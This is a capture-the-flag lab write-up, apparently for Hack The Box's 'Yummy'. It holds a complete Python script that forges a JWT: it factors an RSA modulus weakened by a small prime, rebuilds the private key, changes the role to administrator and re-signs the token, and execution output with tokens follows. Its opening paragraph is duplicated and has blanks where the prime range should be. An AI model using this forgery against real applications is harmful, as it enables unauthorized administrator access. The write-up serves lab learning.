JWT Forgery


The signature verification mechanism of the JWT in the target web application has been identified to be vulnerable due to one of the generated primes being too weak in the range of to that the modulus can be factored in, allowing attackers to recover the private key

The signature verification mechanism of the JWT in the target web application has been identified as vulnerable due to one of the generated primes being too weak, in the range of to . This allows the modulus to be factored, enabling attackers to recover the private key.

#!/usr/bin/env python3
 
import base64
import json
import jwt
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
 
 
#enter your jwt token here
token = input("Enter Token:")
 
 
 
js = json.loads(base64.b64decode( token.split(".")[1] + "===").decode())
n= int(js["jwk"]['n'])
p,q= list((sympy.factorint(n)).keys())
e=65537
phi_n = (p-1)*(q-1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()
 
private_key = serialization.load_pem_private_key(
    private_key_bytes,
    password=None,
    backend=default_backend()
)
public_key = private_key.public_key()
 
data = jwt.decode(token,  public_key, algorithms=["RS256"] )
data["role"] = "administrator"
 
# Create a new token with the new role
new_token = jwt.encode(data, private_key, algorithm="RS256")
print("\nForged JWT: ")
print(new_token)

The Python script above exploits the weak prime generation used in the target web application’s RSA key. By factoring the modulus n (due to one prime being too small), it computes the private key, modifies the JWT payload (specifically elevating privileges to “administrator”), and re-signs the JWT with the forged private key.

Script Breakdown:

  1. Importing Required Libraries:
import base64
import json
import jwt
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy

The script uses several libraries: base64 and json to decode the JWT. jwt for handling the JWT operations (decoding and encoding). sympy for factoring the RSA modulus. Crypto and cryptography libraries for key handling (creating the RSA private key).

  1. Input the JWT Token:
token = input("Enter Token:")

The script prompts the user to input the JWT token that will be exploited.

  1. Decoding the JWT Payload (JWK Part):
 
js = json.loads(base64.b64decode( token.split(".")[1] + "===").decode())
n= int(js["jwk"]['n'])
  • JWTs consist of three parts: Header, Payload, and Signature.
  • The token.split(".")[1] part extracts the payload (the middle part of the JWT).
  • The payload is base64-decoded and parsed as a JSON object.
  • The script extracts n, the modulus of the RSA public key, from the jwk (JSON Web Key) portion of the JWT.
  1. Factoring the Modulus (n):
p,q= list((sympy.factorint(n)).keys())
  • The script uses sympy.factorint(n) to factor the modulus n into its prime factors p and q.
  • Since q is small, factoring n can be done relatively quickly using this method.
  • The primes p and q are stored as a list, and they are extracted as the two prime factors.
  1. Reconstructing the RSA Private Key:
e=65537
phi_n = (p-1)*(q-1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()
  • e is set to 65537, which is the standard public exponent used in most RSA systems.
  • The script computes the Euler’s totient function φ(n) = (p-1)*(q-1) to prepare for calculating the private exponent.
  • d is calculated as the modular inverse of e with respect to φ(n), giving the RSA private exponent.
  • Using the RSA parameters (n, e, d, p, q), the script reconstructs the RSA private key with RSA.construct().
  • The private key is exported as a PEM-encoded byte object using key.export_key().
  1. Loading the Private Key:
private_key = serialization.load_pem_private_key(
    private_key_bytes,
    password=None,
    backend=default_backend()
)

The private key is loaded back using the cryptography library’s serialization.load_pem_private_key() function.

  1. Verifying and Modifying the JWT Payload:
public_key = private_key.public_key()
data = jwt.decode(token, public_key, algorithms=["RS256"])
data["role"] = "administrator"
  • The script verifies the existing JWT using the recovered public key by decoding it with jwt.decode().
  • After decoding, the payload (data) is modified by changing the role field to “administrator”, effectively giving the user elevated privileges.
  1. Re-Signing the JWT with the Forged Private Key:
new_token = jwt.encode(data, private_key, algorithm="RS256")
print(new_token)
  • A new JWT is created using jwt.encode(), signed with the forged private key.
  • The modified payload, including the admin role, is included in the new JWT, which is then printed to the console.

Execution


I just need to grab an existing JWT by refreshing the browser to the /dashboard endpoint

┌──(kali㉿kali)-[~/archive/htb/labs/yummy]
└─$ python3 jwt_forgery.py
Enter Token: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InRlc3RAdGVzdCIsInJvbGUiOiJjdXN0b21lcl8zYjE3OGM2NSIsImlhdCI6MTcyODIyODcwNCwiZXhwIjoxNzI4MjMyMzA0LCJqd2siOnsia3R5IjoiUlNBIiwibiI6IjY5NTUwNjE2MTc3OTE0OTc3NDAyMDkzNTQ0ODgyMTA4MTkwOTgwMTY3MDk2NzU4MzM5OTQyNDQxMjQxMDYxOTY1NDAyMDUxMzc4MTk2NTIyMjY4MzYwNDE5NTcwNDUxODg0NzE0NjM1NTMzMjY2NzA4MTc2Mzg5NzUxMDY1MDAwNzUyNDA2ODM3MTQzMTQ4OTgzMDk2NTQ5ODg1OTQwOTk2Mzc0NzI1NTQ4MDY0MjcxNjYwNDcxNTY1MjM3MTUxNzk3OTc2MjQ4ODU1MzE4NTU3Njg0OTY3ODE3MTI1MDgxMjA2MzE1MDg1Nzc5MTE0MzAzMjQ1MzAyMjA1ODUyODY0MDE5NjM0MDk1NzIyNjg3NjE2MzIwODIzNTQ3ODk3NTkxODY2NzMwNDE5NzMxNzk0ODIzNTgxNDUzIiwiZSI6NjU1Mzd9fQ.BRItt4-nlsFAettg18pBVsm7Qpbxyhlqw4ETOvNnuxbDEV0Iwt9MRykTnVtBU8CQ-xBrCdJt28pwokWtK1MFWCzgH_AkBXCrPgTjA0Ym9cfX1bU3IAkD2IJ09vXjvQrWLfvRZ687Zx5KMF9etDAWTc9bbJbQFuQfe2em4sRx3z3hX64
 
Forged JWT: 
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InRlc3RAdGVzdCIsInJvbGUiOiJhZG1pbmlzdHJhdG9yIiwiaWF0IjoxNzI4MjI4NzA0LCJleHAiOjE3MjgyMzIzMDQsImp3ayI6eyJrdHkiOiJSU0EiLCJuIjoiNjk1NTA2MTYxNzc5MTQ5Nzc0MDIwOTM1NDQ4ODIxMDgxOTA5ODAxNjcwOTY3NTgzMzk5NDI0NDEyNDEwNjE5NjU0MDIwNTEzNzgxOTY1MjIyNjgzNjA0MTk1NzA0NTE4ODQ3MTQ2MzU1MzMyNjY3MDgxNzYzODk3NTEwNjUwMDA3NTI0MDY4MzcxNDMxNDg5ODMwOTY1NDk4ODU5NDA5OTYzNzQ3MjU1NDgwNjQyNzE2NjA0NzE1NjUyMzcxNTE3OTc5NzYyNDg4NTUzMTg1NTc2ODQ5Njc4MTcxMjUwODEyMDYzMTUwODU3NzkxMTQzMDMyNDUzMDIyMDU4NTI4NjQwMTk2MzQwOTU3MjI2ODc2MTYzMjA4MjM1NDc4OTc1OTE4NjY3MzA0MTk3MzE3OTQ4MjM1ODE0NTMiLCJlIjo2NTUzN319.ABsx8HuyNI9oKUbXFNENx8GCxXPC-5pugwew0tJf4sbnyeS06DrCqqwUiNjhpDffWKVs6ID-WV45e39pxVjXRzPejFH7AoLUYHKCH5YNFoIWfvudld-AKTeuAQnh3Vj7PZSZAfSQGvwy643gwcPEwoVaSgnzDZIwok9Euuw9bWPBCjU

The exploit script generated a forged JWT

Authentication


Replacing the old JWT with the newly forged JWT, and forwarding

Being redirected to the /admindashboard endpoint

Successfully Authenticated with the administrator role